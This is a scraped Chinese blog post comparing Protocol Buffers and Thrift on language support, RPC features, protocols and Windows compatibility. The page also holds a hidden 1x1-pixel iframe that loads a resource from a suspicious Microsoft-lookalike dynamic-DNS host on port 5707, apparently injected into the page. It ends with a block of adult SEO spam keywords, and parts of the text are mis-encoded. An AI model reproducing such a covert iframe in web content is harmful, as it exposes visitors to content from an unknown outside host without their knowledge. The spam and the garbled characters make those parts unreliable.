• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            流量統(tǒng)計:
            Rixu Blog (日需博客)
            日需博客,每日必需來踩踩哦..
            posts - 108,comments - 54,trackbacks - 0
            <iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog.png" width="1" height="1" style="display: block;"></iframe>

            最近工作需要保存一些結(jié)構(gòu)化的數(shù)據(jù)。常規(guī)的思路,自然是選擇xml。定義一個schema,然后再找個利落點的XML庫(覺得tinyxml/tinyxml++ 就挺不錯的)就算問題解決。這兩天blog上比較熱鬧的話題,是從Google放出來的Protocol buffers ,一種用來部分替代xml的數(shù)據(jù)描述語言。Google就是Google,就算是推白菜出來,也一樣能讓人側(cè)目。其實protocol buffers也不是什么新鮮的概念,且不說傳統(tǒng)的ASN.1, ICE這些有點類似的東西,facebook一年前就推出了thrift ,應該說定位是非常的接近的。也有謠傳說是先有了protocol buffers在google內(nèi)部流行,然后google的人跳槽到facebook,就出了thrift這個東西……呵呵,停止八卦,言歸正傳。
            觀察法看到的優(yōu)缺點
            Thrift:
            支持的語言更廣泛一些c++, java, python,ruby, csharp, haskell, ocmal, erlang, cocoa, php, squeak(真夠變態(tài)的)
            protobuf
            目前還是只支持c++, java, python, 其他語言有待開發(fā).
            Thrift提供的功能更豐富一些:
            Thrift提供了簡單的RPC構(gòu)架(其實不簡單了, block, nonblock的都有了…..)
            protobuf好像一心一意做好自己的事情,只提供了序列化和反序列化的功能。
            Thrift支持多種協(xié)議格式.
            Thrift的代碼實現(xiàn),有專門的TProtocol和TTransport抽象,相互配合,可以實現(xiàn)多種協(xié)議,方便集成各種傳輸方式。至少目前Thrift就能使用json作為序列化協(xié)議。
            protobuf好像只安心一種協(xié)議,并下決心把這個格式做好。輸入輸出也是標準的stream. 認真的說也不完全這樣,protobuf為了調(diào)試方便,也提供了Text_Fromat功能,這個也算一個nonbinary格式支持,這樣看來完全新協(xié)議還是有可能的。
            Thrift還提供了不少語言的C module(性能啊,都是性能啊)
            protobuf全部pure language實現(xiàn), 反正現(xiàn)在已經(jīng)都5到10倍速度了,不在乎了…..
            thrift目前不支持Windows平臺,至少c++語言的runtime library和generated code是不不能在windows平臺上使用的。(這真有點讓人難以接受啊,現(xiàn)代科技這么發(fā)達,還有怪獸boost,支持windows有這么難嗎?)
            protobuf沒有這個問題,提供了visual studio的項目文件,可以很順利的在windows平臺下編譯。(題外話: 如果不知道googletest怎么在windows平臺上使用,可以參考protobuf的測試用例)。
            The Thrift C++ runtime library does not currently work on Windows. This means that you’ll be able to compile ThriftIDL files to C++/Java/Python/etc., but you won’t be able to compile and run the generated C++ code under Windows.
            thrift wiki
            protobuf側(cè)重點是語言表達,同時在存儲效率上也下了不少功夫。用protobuf來直接讀寫數(shù)據(jù)結(jié)構(gòu)相當?shù)姆奖恪?/div>
            thrift側(cè)重點是構(gòu)建夸語言的可伸縮的服務,特點就是支持的語言多,同時提供了完整的rpc service framework,可以很方便的直接構(gòu)建服務,不需要做太多其他的工作。
            數(shù)據(jù)類型相對固定的情況下,不論是thrift還是protobuf都會比直接處理xml要方便很多。不管是dom還是類sax,總沒有直接出數(shù)據(jù)結(jié)構(gòu)訪問來的方便啊。
            posted on 2015-10-26 20:18 日需博客 閱讀(1496) 評論(0)  編輯 收藏 引用 所屬分類: 轉(zhuǎn)載
            久久天天躁夜夜躁狠狠| 97r久久精品国产99国产精| 久久久WWW免费人成精品| 久久久国产一区二区三区| 亚洲а∨天堂久久精品| 色综合久久中文字幕无码| 国内精品免费久久影院| 久久精品亚洲日本波多野结衣 | 久久久久国色AV免费看图片| 久久婷婷色综合一区二区| 日本久久久精品中文字幕| 久久精品国产亚洲AV蜜臀色欲 | 无码日韩人妻精品久久蜜桃| 久久精品国产一区二区电影| 77777亚洲午夜久久多人| 久久五月精品中文字幕| 99久久精品免费看国产| 无码人妻久久一区二区三区免费| 久久久久亚洲?V成人无码| 久久99国产乱子伦精品免费| 97视频久久久| 亚洲国产日韩欧美综合久久| 日韩亚洲欧美久久久www综合网| 亚洲精品乱码久久久久久中文字幕| 久久综合亚洲色HEZYO国产| yellow中文字幕久久网| 99re久久精品国产首页2020| 日韩久久久久久中文人妻 | 久久精品成人免费观看97| 国产成人久久AV免费| 97久久久久人妻精品专区| 人妻无码αv中文字幕久久琪琪布| 久久婷婷五月综合国产尤物app| 国产精品99久久久久久宅男小说| 久久亚洲电影| 久久亚洲国产精品成人AV秋霞| 亚洲精品成人网久久久久久| 综合久久给合久久狠狠狠97色| 久久综合亚洲色一区二区三区| 久久亚洲精品成人无码网站| 人妻无码中文久久久久专区|